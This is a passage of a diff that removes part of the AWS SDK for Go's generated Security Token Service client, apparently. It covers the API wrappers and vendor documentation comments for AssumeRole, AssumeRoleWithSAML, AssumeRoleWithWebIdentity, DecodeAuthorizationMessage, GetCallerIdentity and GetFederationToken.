authentication -// system in your corporate network, you don't have to recreate user identities -// in AWS in order to grant those user identities access to AWS. Instead, after -// a user has been authenticated, you call AssumeRole (and specify the role -// with the appropriate permissions) to get temporary security credentials for -// that user. With those temporary security credentials, you construct a sign-in -// URL that users can use to access the console. For more information, see Common -// Scenarios for Temporary Credentials (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html#sts-introduction) -// in the IAM User Guide. -// -// By default, the temporary security credentials created by AssumeRole last -// for one hour. However, you can use the optional DurationSeconds parameter -// to specify the duration of your session. You can provide a value from 900 -// seconds (15 minutes) up to the maximum session duration setting for the role. -// This setting can have a value from 1 hour to 12 hours. To learn how to view -// the maximum value for your role, see View the Maximum Session Duration Setting -// for a Role (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html#id_roles_use_view-role-max-session) -// in the IAM User Guide. The maximum session duration limit applies when you -// use the AssumeRole* API operations or the assume-role* CLI operations but -// does not apply when you use those operations to create a console URL. For -// more information, see Using IAM Roles (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html) -// in the IAM User Guide. -// -// The temporary security credentials created by AssumeRole can be used to make -// API calls to any AWS service with the following exception: you cannot call -// the STS service's GetFederationToken or GetSessionToken APIs. -// -// Optionally, you can pass an IAM access policy to this operation. If you choose -// not to pass a policy, the temporary security credentials that are returned -// by the operation have the permissions that are defined in the access policy -// of the role that is being assumed. If you pass a policy to this operation, -// the temporary security credentials that are returned by the operation have -// the permissions that are allowed by both the access policy of the role that -// is being assumed, and the policy that you pass. This gives you a way to further -// restrict the permissions for the resulting temporary security credentials. -// You cannot use the passed policy to grant permissions that are in excess -// of those allowed by the access policy of the role that is being assumed. -// For more information, see Permissions for AssumeRole, AssumeRoleWithSAML, -// and AssumeRoleWithWebIdentity (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_assumerole.html) -// in the IAM User Guide. -// -// To assume a role, your AWS account must be trusted by the role. The trust -// relationship is defined in the role's trust policy when the role is created. -// That trust policy states which accounts are allowed to delegate access to -// this account's role. -// -// The user who wants to access the role must also have permissions delegated -// from the role's administrator. If the user is in a different account than -// the role, then the user's administrator must attach a policy that allows -// the user to call AssumeRole on the ARN of the role in the other account. -// If the user is in the same account as the role, then you can either attach -// a policy to the user (identical to the previous different account user), -// or you can add the user as a principal directly in the role's trust policy. -// In this case, the trust policy acts as the only resource-based policy in -// IAM, and users in the same account as the role do not need explicit permission -// to assume the role. For more information about trust policies and resource-based -// policies, see IAM Policies (http://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html) -// in the IAM User Guide. -// -// Using MFA with AssumeRole -// -// You can optionally include multi-factor authentication (MFA) information -// when you call AssumeRole. This is useful for cross-account scenarios in which -// you want to make sure that the user who is assuming the role has been authenticated -// using an AWS MFA device. In that scenario, the trust policy of the role being -// assumed includes a condition that tests for MFA authentication; if the caller -// does not include valid MFA information, the request to assume the role is -// denied. The condition in a trust policy that tests for MFA authentication -// might look like the following example. -// -// "Condition": {"Bool": {"aws:MultiFactorAuthPresent": true}} -// -// For more information, see Configuring MFA-Protected API Access (http://docs.aws.amazon.com/IAM/latest/UserGuide/MFAProtectedAPI.html) -// in the IAM User Guide guide. -// -// To use MFA with AssumeRole, you pass values for the SerialNumber and TokenCode -// parameters. The SerialNumber value identifies the user's hardware or virtual -// MFA device. The TokenCode is the time-based one-time password (TOTP) that -// the MFA devices produces. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for AWS Security Token Service's -// API operation AssumeRole for usage and error information. -// -// Returned Error Codes: -// * ErrCodeMalformedPolicyDocumentException "MalformedPolicyDocument" -// The request was rejected because the policy document was malformed. The error -// message describes the specific error. -// -// * ErrCodePackedPolicyTooLargeException "PackedPolicyTooLarge" -// The request was rejected because the policy document was too large. The error -// message describes how big the policy document is, in packed form, as a percentage -// of what the API allows. -// -// * ErrCodeRegionDisabledException "RegionDisabledException" -// STS is not activated in the requested region for the account that is being -// asked to generate credentials. The account administrator must use the IAM -// console to activate STS in that region. For more information, see Activating -// and Deactivating AWS STS in an AWS Region (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html) -// in the IAM User Guide. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/AssumeRole -func (c *STS) AssumeRole(input *AssumeRoleInput) (*AssumeRoleOutput, error) { - req, out := c.AssumeRoleRequest(input) - return out, req.Send() -} - -// AssumeRoleWithContext is the same as AssumeRole with the addition of -// the ability to pass a context and additional request options. -// -// See AssumeRole for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *STS) AssumeRoleWithContext(ctx aws.Context, input *AssumeRoleInput, opts ...request.Option) (*AssumeRoleOutput, error) { - req, out := c.AssumeRoleRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opAssumeRoleWithSAML = "AssumeRoleWithSAML" - -// AssumeRoleWithSAMLRequest generates a "aws/request.Request" representing the -// client's request for the AssumeRoleWithSAML operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See AssumeRoleWithSAML for more information on using the AssumeRoleWithSAML -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the AssumeRoleWithSAMLRequest method. -// req, resp := client.AssumeRoleWithSAMLRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/AssumeRoleWithSAML -func (c *STS) AssumeRoleWithSAMLRequest(input *AssumeRoleWithSAMLInput) (req *request.Request, output *AssumeRoleWithSAMLOutput) { - op := &request.Operation{ - Name: opAssumeRoleWithSAML, - HTTPMethod: "POST", - HTTPPath: "/", - } - - if input == nil { - input = &AssumeRoleWithSAMLInput{} - } - - output = &AssumeRoleWithSAMLOutput{} - req = c.newRequest(op, input, output) - req.Config.Credentials = credentials.AnonymousCredentials - return -} - -// AssumeRoleWithSAML API operation for AWS Security Token Service. -// -// Returns a set of temporary security credentials for users who have been authenticated -// via a SAML authentication response. This operation provides a mechanism for -// tying an enterprise identity store or directory to role-based AWS access -// without user-specific credentials or configuration. For a comparison of AssumeRoleWithSAML -// with the other APIs that produce temporary credentials, see Requesting Temporary -// Security Credentials (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html) -// and Comparing the AWS STS APIs (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#stsapi_comparison) -// in the IAM User Guide. -// -// The temporary security credentials returned by this operation consist of -// an access key ID, a secret access key, and a security token. Applications -// can use these temporary security credentials to sign calls to AWS services. -// -// By default, the temporary security credentials created by AssumeRoleWithSAML -// last for one hour. However, you can use the optional DurationSeconds parameter -// to specify the duration of your session. Your role session lasts for the -// duration that you specify, or until the time specified in the SAML authentication -// response's SessionNotOnOrAfter value, whichever is shorter. You can provide -// a DurationSeconds value from 900 seconds (15 minutes) up to the maximum session -// duration setting for the role. This setting can have a value from 1 hour -// to 12 hours. To learn how to view the maximum value for your role, see View -// the Maximum Session Duration Setting for a Role (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html#id_roles_use_view-role-max-session) -// in the IAM User Guide. The maximum session duration limit applies when you -// use the AssumeRole* API operations or the assume-role* CLI operations but -// does not apply when you use those operations to create a console URL. For -// more information, see Using IAM Roles (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html) -// in the IAM User Guide. -// -// The temporary security credentials created by AssumeRoleWithSAML can be used -// to make API calls to any AWS service with the following exception: you cannot -// call the STS service's GetFederationToken or GetSessionToken APIs. -// -// Optionally, you can pass an IAM access policy to this operation. If you choose -// not to pass a policy, the temporary security credentials that are returned -// by the operation have the permissions that are defined in the access policy -// of the role that is being assumed. If you pass a policy to this operation, -// the temporary security credentials that are returned by the operation have -// the permissions that are allowed by the intersection of both the access policy -// of the role that is being assumed, and the policy that you pass. This means -// that both policies must grant the permission for the action to be allowed. -// This gives you a way to further restrict the permissions for the resulting -// temporary security credentials. You cannot use the passed policy to grant -// permissions that are in excess of those allowed by the access policy of the -// role that is being assumed. For more information, see Permissions for AssumeRole, -// AssumeRoleWithSAML, and AssumeRoleWithWebIdentity (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_assumerole.html) -// in the IAM User Guide. -// -// Before your application can call AssumeRoleWithSAML, you must configure your -// SAML identity provider (IdP) to issue the claims required by AWS. Additionally, -// you must use AWS Identity and Access Management (IAM) to create a SAML provider -// entity in your AWS account that represents your identity provider, and create -// an IAM role that specifies this SAML provider in its trust policy. -// -// Calling AssumeRoleWithSAML does not require the use of AWS security credentials. -// The identity of the caller is validated by using keys in the metadata document -// that is uploaded for the SAML provider entity for your identity provider. -// -// Calling AssumeRoleWithSAML can result in an entry in your AWS CloudTrail -// logs. The entry includes the value in the NameID element of the SAML assertion. -// We recommend that you use a NameIDType that is not associated with any personally -// identifiable information (PII). For example, you could instead use the Persistent -// Identifier (urn:oasis:names:tc:SAML:2.0:nameid-format:persistent). -// -// For more information, see the following resources: -// -// * About SAML 2.0-based Federation (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html) -// in the IAM User Guide. -// -// * Creating SAML Identity Providers (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_saml.html) -// in the IAM User Guide. -// -// * Configuring a Relying Party and Claims (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_saml_relying-party.html) -// in the IAM User Guide. -// -// * Creating a Role for SAML 2.0 Federation (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_saml.html) -// in the IAM User Guide. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for AWS Security Token Service's -// API operation AssumeRoleWithSAML for usage and error information. -// -// Returned Error Codes: -// * ErrCodeMalformedPolicyDocumentException "MalformedPolicyDocument" -// The request was rejected because the policy document was malformed. The error -// message describes the specific error. -// -// * ErrCodePackedPolicyTooLargeException "PackedPolicyTooLarge" -// The request was rejected because the policy document was too large. The error -// message describes how big the policy document is, in packed form, as a percentage -// of what the API allows. -// -// * ErrCodeIDPRejectedClaimException "IDPRejectedClaim" -// The identity provider (IdP) reported that authentication failed. This might -// be because the claim is invalid. -// -// If this error is returned for the AssumeRoleWithWebIdentity operation, it -// can also mean that the claim has expired or has been explicitly revoked. -// -// * ErrCodeInvalidIdentityTokenException "InvalidIdentityToken" -// The web identity token that was passed could not be validated by AWS. Get -// a new identity token from the identity provider and then retry the request. -// -// * ErrCodeExpiredTokenException "ExpiredTokenException" -// The web identity token that was passed is expired or is not valid. Get a -// new identity token from the identity provider and then retry the request. -// -// * ErrCodeRegionDisabledException "RegionDisabledException" -// STS is not activated in the requested region for the account that is being -// asked to generate credentials. The account administrator must use the IAM -// console to activate STS in that region. For more information, see Activating -// and Deactivating AWS STS in an AWS Region (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html) -// in the IAM User Guide. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/AssumeRoleWithSAML -func (c *STS) AssumeRoleWithSAML(input *AssumeRoleWithSAMLInput) (*AssumeRoleWithSAMLOutput, error) { - req, out := c.AssumeRoleWithSAMLRequest(input) - return out, req.Send() -} - -// AssumeRoleWithSAMLWithContext is the same as AssumeRoleWithSAML with the addition of -// the ability to pass a context and additional request options. -// -// See AssumeRoleWithSAML for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *STS) AssumeRoleWithSAMLWithContext(ctx aws.Context, input *AssumeRoleWithSAMLInput, opts ...request.Option) (*AssumeRoleWithSAMLOutput, error) { - req, out := c.AssumeRoleWithSAMLRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opAssumeRoleWithWebIdentity = "AssumeRoleWithWebIdentity" - -// AssumeRoleWithWebIdentityRequest generates a "aws/request.Request" representing the -// client's request for the AssumeRoleWithWebIdentity operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See AssumeRoleWithWebIdentity for more information on using the AssumeRoleWithWebIdentity -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the AssumeRoleWithWebIdentityRequest method. -// req, resp := client.AssumeRoleWithWebIdentityRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/AssumeRoleWithWebIdentity -func (c *STS) AssumeRoleWithWebIdentityRequest(input *AssumeRoleWithWebIdentityInput) (req *request.Request, output *AssumeRoleWithWebIdentityOutput) { - op := &request.Operation{ - Name: opAssumeRoleWithWebIdentity, - HTTPMethod: "POST", - HTTPPath: "/", - } - - if input == nil { - input = &AssumeRoleWithWebIdentityInput{} - } - - output = &AssumeRoleWithWebIdentityOutput{} - req = c.newRequest(op, input, output) - req.Config.Credentials = credentials.AnonymousCredentials - return -} - -// AssumeRoleWithWebIdentity API operation for AWS Security Token Service. -// -// Returns a set of temporary security credentials for users who have been authenticated -// in a mobile or web application with a web identity provider, such as Amazon -// Cognito, Login with Amazon, Facebook, Google, or any OpenID Connect-compatible -// identity provider. -// -// For mobile applications, we recommend that you use Amazon Cognito. You can -// use Amazon Cognito with the AWS SDK for iOS (http://aws.amazon.com/sdkforios/) -// and the AWS SDK for Android (http://aws.amazon.com/sdkforandroid/) to uniquely -// identify a user and supply the user with a consistent identity throughout -// the lifetime of an application. -// -// To learn more about Amazon Cognito, see Amazon Cognito Overview (http://docs.aws.amazon.com/mobile/sdkforandroid/developerguide/cognito-auth.html#d0e840) -// in the AWS SDK for Android Developer Guide guide and Amazon Cognito Overview -// (http://docs.aws.amazon.com/mobile/sdkforios/developerguide/cognito-auth.html#d0e664) -// in the AWS SDK for iOS Developer Guide. -// -// Calling AssumeRoleWithWebIdentity does not require the use of AWS security -// credentials. Therefore, you can distribute an application (for example, on -// mobile devices) that requests temporary security credentials without including -// long-term AWS credentials in the application, and without deploying server-based -// proxy services that use long-term AWS credentials. Instead, the identity -// of the caller is validated by using a token from the web identity provider. -// For a comparison of AssumeRoleWithWebIdentity with the other APIs that produce -// temporary credentials, see Requesting Temporary Security Credentials (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html) -// and Comparing the AWS STS APIs (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#stsapi_comparison) -// in the IAM User Guide. -// -// The temporary security credentials returned by this API consist of an access -// key ID, a secret access key, and a security token. Applications can use these -// temporary security credentials to sign calls to AWS service APIs. -// -// By default, the temporary security credentials created by AssumeRoleWithWebIdentity -// last for one hour. However, you can use the optional DurationSeconds parameter -// to specify the duration of your session. You can provide a value from 900 -// seconds (15 minutes) up to the maximum session duration setting for the role. -// This setting can have a value from 1 hour to 12 hours. To learn how to view -// the maximum value for your role, see View the Maximum Session Duration Setting -// for a Role (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html#id_roles_use_view-role-max-session) -// in the IAM User Guide. The maximum session duration limit applies when you -// use the AssumeRole* API operations or the assume-role* CLI operations but -// does not apply when you use those operations to create a console URL. For -// more information, see Using IAM Roles (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html) -// in the IAM User Guide. -// -// The temporary security credentials created by AssumeRoleWithWebIdentity can -// be used to make API calls to any AWS service with the following exception: -// you cannot call the STS service's GetFederationToken or GetSessionToken APIs. -// -// Optionally, you can pass an IAM access policy to this operation. If you choose -// not to pass a policy, the temporary security credentials that are returned -// by the operation have the permissions that are defined in the access policy -// of the role that is being assumed. If you pass a policy to this operation, -// the temporary security credentials that are returned by the operation have -// the permissions that are allowed by both the access policy of the role that -// is being assumed, and the policy that you pass. This gives you a way to further -// restrict the permissions for the resulting temporary security credentials. -// You cannot use the passed policy to grant permissions that are in excess -// of those allowed by the access policy of the role that is being assumed. -// For more information, see Permissions for AssumeRole, AssumeRoleWithSAML, -// and AssumeRoleWithWebIdentity (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_assumerole.html) -// in the IAM User Guide. -// -// Before your application can call AssumeRoleWithWebIdentity, you must have -// an identity token from a supported identity provider and create a role that -// the application can assume. The role that your application assumes must trust -// the identity provider that is associated with the identity token. In other -// words, the identity provider must be specified in the role's trust policy. -// -// Calling AssumeRoleWithWebIdentity can result in an entry in your AWS CloudTrail -// logs. The entry includes the Subject (http://openid.net/specs/openid-connect-core-1_0.html#Claims) -// of the provided Web Identity Token. We recommend that you avoid using any -// personally identifiable information (PII) in this field. For example, you -// could instead use a GUID or a pairwise identifier, as suggested in the OIDC -// specification (http://openid.net/specs/openid-connect-core-1_0.html#SubjectIDTypes). -// -// For more information about how to use web identity federation and the AssumeRoleWithWebIdentity -// API, see the following resources: -// -// * Using Web Identity Federation APIs for Mobile Apps (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc_manual.html) -// and Federation Through a Web-based Identity Provider (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#api_assumerolewithwebidentity). -// -// -// * Web Identity Federation Playground (https://web-identity-federation-playground.s3.amazonaws.com/index.html). -// This interactive website lets you walk through the process of authenticating -// via Login with Amazon, Facebook, or Google, getting temporary security -// credentials, and then using those credentials to make a request to AWS. -// -// -// * AWS SDK for iOS (http://aws.amazon.com/sdkforios/) and AWS SDK for Android -// (http://aws.amazon.com/sdkforandroid/). These toolkits contain sample -// apps that show how to invoke the identity providers, and then how to use -// the information from these providers to get and use temporary security -// credentials. -// -// * Web Identity Federation with Mobile Applications (http://aws.amazon.com/articles/web-identity-federation-with-mobile-applications). -// This article discusses web identity federation and shows an example of -// how to use web identity federation to get access to content in Amazon -// S3. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for AWS Security Token Service's -// API operation AssumeRoleWithWebIdentity for usage and error information. -// -// Returned Error Codes: -// * ErrCodeMalformedPolicyDocumentException "MalformedPolicyDocument" -// The request was rejected because the policy document was malformed. The error -// message describes the specific error. -// -// * ErrCodePackedPolicyTooLargeException "PackedPolicyTooLarge" -// The request was rejected because the policy document was too large. The error -// message describes how big the policy document is, in packed form, as a percentage -// of what the API allows. -// -// * ErrCodeIDPRejectedClaimException "IDPRejectedClaim" -// The identity provider (IdP) reported that authentication failed. This might -// be because the claim is invalid. -// -// If this error is returned for the AssumeRoleWithWebIdentity operation, it -// can also mean that the claim has expired or has been explicitly revoked. -// -// * ErrCodeIDPCommunicationErrorException "IDPCommunicationError" -// The request could not be fulfilled because the non-AWS identity provider -// (IDP) that was asked to verify the incoming identity token could not be reached. -// This is often a transient error caused by network conditions. Retry the request -// a limited number of times so that you don't exceed the request rate. If the -// error persists, the non-AWS identity provider might be down or not responding. -// -// * ErrCodeInvalidIdentityTokenException "InvalidIdentityToken" -// The web identity token that was passed could not be validated by AWS. Get -// a new identity token from the identity provider and then retry the request. -// -// * ErrCodeExpiredTokenException "ExpiredTokenException" -// The web identity token that was passed is expired or is not valid. Get a -// new identity token from the identity provider and then retry the request. -// -// * ErrCodeRegionDisabledException "RegionDisabledException" -// STS is not activated in the requested region for the account that is being -// asked to generate credentials. The account administrator must use the IAM -// console to activate STS in that region. For more information, see Activating -// and Deactivating AWS STS in an AWS Region (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html) -// in the IAM User Guide. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/AssumeRoleWithWebIdentity -func (c *STS) AssumeRoleWithWebIdentity(input *AssumeRoleWithWebIdentityInput) (*AssumeRoleWithWebIdentityOutput, error) { - req, out := c.AssumeRoleWithWebIdentityRequest(input) - return out, req.Send() -} - -// AssumeRoleWithWebIdentityWithContext is the same as AssumeRoleWithWebIdentity with the addition of -// the ability to pass a context and additional request options. -// -// See AssumeRoleWithWebIdentity for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *STS) AssumeRoleWithWebIdentityWithContext(ctx aws.Context, input *AssumeRoleWithWebIdentityInput, opts ...request.Option) (*AssumeRoleWithWebIdentityOutput, error) { - req, out := c.AssumeRoleWithWebIdentityRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDecodeAuthorizationMessage = "DecodeAuthorizationMessage" - -// DecodeAuthorizationMessageRequest generates a "aws/request.Request" representing the -// client's request for the DecodeAuthorizationMessage operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DecodeAuthorizationMessage for more information on using the DecodeAuthorizationMessage -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DecodeAuthorizationMessageRequest method. -// req, resp := client.DecodeAuthorizationMessageRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/DecodeAuthorizationMessage -func (c *STS) DecodeAuthorizationMessageRequest(input *DecodeAuthorizationMessageInput) (req *request.Request, output *DecodeAuthorizationMessageOutput) { - op := &request.Operation{ - Name: opDecodeAuthorizationMessage, - HTTPMethod: "POST", - HTTPPath: "/", - } - - if input == nil { - input = &DecodeAuthorizationMessageInput{} - } - - output = &DecodeAuthorizationMessageOutput{} - req = c.newRequest(op, input, output) - return -} - -// DecodeAuthorizationMessage API operation for AWS Security Token Service. -// -// Decodes additional information about the authorization status of a request -// from an encoded message returned in response to an AWS request. -// -// For example, if a user is not authorized to perform an action that he or -// she has requested, the request returns a Client.UnauthorizedOperation response -// (an HTTP 403 response). Some AWS actions additionally return an encoded message -// that can provide details about this authorization failure. -// -// Only certain AWS actions return an encoded authorization message. The documentation -// for an individual action indicates whether that action returns an encoded -// message in addition to returning an HTTP code. -// -// The message is encoded because the details of the authorization status can -// constitute privileged information that the user who requested the action -// should not see. To decode an authorization status message, a user must be -// granted permissions via an IAM policy to request the DecodeAuthorizationMessage -// (sts:DecodeAuthorizationMessage) action. -// -// The decoded message includes the following type of information: -// -// * Whether the request was denied due to an explicit deny or due to the -// absence of an explicit allow. For more information, see Determining Whether -// a Request is Allowed or Denied (http://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html#policy-eval-denyallow) -// in the IAM User Guide. -// -// * The principal who made the request. -// -// * The requested action. -// -// * The requested resource. -// -// * The values of condition keys in the context of the user's request. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for AWS Security Token Service's -// API operation DecodeAuthorizationMessage for usage and error information. -// -// Returned Error Codes: -// * ErrCodeInvalidAuthorizationMessageException "InvalidAuthorizationMessageException" -// The error returned if the message passed to DecodeAuthorizationMessage was -// invalid. This can happen if the token contains invalid characters, such as -// linebreaks. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/DecodeAuthorizationMessage -func (c *STS) DecodeAuthorizationMessage(input *DecodeAuthorizationMessageInput) (*DecodeAuthorizationMessageOutput, error) { - req, out := c.DecodeAuthorizationMessageRequest(input) - return out, req.Send() -} - -// DecodeAuthorizationMessageWithContext is the same as DecodeAuthorizationMessage with the addition of -// the ability to pass a context and additional request options. -// -// See DecodeAuthorizationMessage for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *STS) DecodeAuthorizationMessageWithContext(ctx aws.Context, input *DecodeAuthorizationMessageInput, opts ...request.Option) (*DecodeAuthorizationMessageOutput, error) { - req, out := c.DecodeAuthorizationMessageRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetCallerIdentity = "GetCallerIdentity" - -// GetCallerIdentityRequest generates a "aws/request.Request" representing the -// client's request for the GetCallerIdentity operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetCallerIdentity for more information on using the GetCallerIdentity -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetCallerIdentityRequest method. -// req, resp := client.GetCallerIdentityRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/GetCallerIdentity -func (c *STS) GetCallerIdentityRequest(input *GetCallerIdentityInput) (req *request.Request, output *GetCallerIdentityOutput) { - op := &request.Operation{ - Name: opGetCallerIdentity, - HTTPMethod: "POST", - HTTPPath: "/", - } - - if input == nil { - input = &GetCallerIdentityInput{} - } - - output = &GetCallerIdentityOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetCallerIdentity API operation for AWS Security Token Service. -// -// Returns details about the IAM identity whose credentials are used to call -// the API. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for AWS Security Token Service's -// API operation GetCallerIdentity for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/GetCallerIdentity -func (c *STS) GetCallerIdentity(input *GetCallerIdentityInput) (*GetCallerIdentityOutput, error) { - req, out := c.GetCallerIdentityRequest(input) - return out, req.Send() -} - -// GetCallerIdentityWithContext is the same as GetCallerIdentity with the addition of -// the ability to pass a context and additional request options. -// -// See GetCallerIdentity for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *STS) GetCallerIdentityWithContext(ctx aws.Context, input *GetCallerIdentityInput, opts ...request.Option) (*GetCallerIdentityOutput, error) { - req, out := c.GetCallerIdentityRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opGetFederationToken = "GetFederationToken" - -// GetFederationTokenRequest generates a "aws/request.Request" representing the -// client's request for the GetFederationToken operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See GetFederationToken for more information on using the GetFederationToken -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the GetFederationTokenRequest method. -// req, resp := client.GetFederationTokenRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/GetFederationToken -func (c *STS) GetFederationTokenRequest(input *GetFederationTokenInput) (req *request.Request, output *GetFederationTokenOutput) { - op := &request.Operation{ - Name: opGetFederationToken, - HTTPMethod: "POST", - HTTPPath: "/", - } - - if input == nil { - input = &GetFederationTokenInput{} - } - - output = &GetFederationTokenOutput{} - req = c.newRequest(op, input, output) - return -} - -// GetFederationToken API operation for AWS Security Token Service. -// -// Returns a set of temporary security credentials (consisting of an access -// key ID, a secret access key, and a security token) for a federated user. -// A typical use is in a proxy application that gets temporary security credentials -// on behalf of distributed applications inside a corporate network. Because -// you must call the GetFederationToken action using the long-term security -// credentials of an IAM user, this call is appropriate in contexts where those -// credentials can be safely stored, usually in a server-based application. -// For a comparison of GetFederationToken with the other APIs that produce temporary -// credentials, see Requesting Temporary Security Credentials (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html) -// and Comparing the AWS STS APIs (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#stsapi_comparison) -// in the IAM User Guide. -// -// If you are creating a mobile-based or browser-based app that can authenticate -// users using a web identity provider like Login with Amazon, Facebook, Google, -// or an OpenID Connect-compatible identity provider, we recommend that you -// use Amazon Cognito (http://aws.amazon.com/cognito/) or AssumeRoleWithWebIdentity. -// For more information, see Federation Through a Web-based Identity Provider -// (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#api_assumerolewithwebidentity). -// -// The GetFederationToken action must be called by using the long-term AWS security -// credentials of an IAM user. You can also call GetFederationToken using the -// security credentials of an AWS root account, but we do not recommended it. -// Instead, we recommend that you create an IAM user for the purpose of the -// proxy application and then attach a policy to the IAM user that limits federated -// users to only the actions and resources that they need access to. For more -// 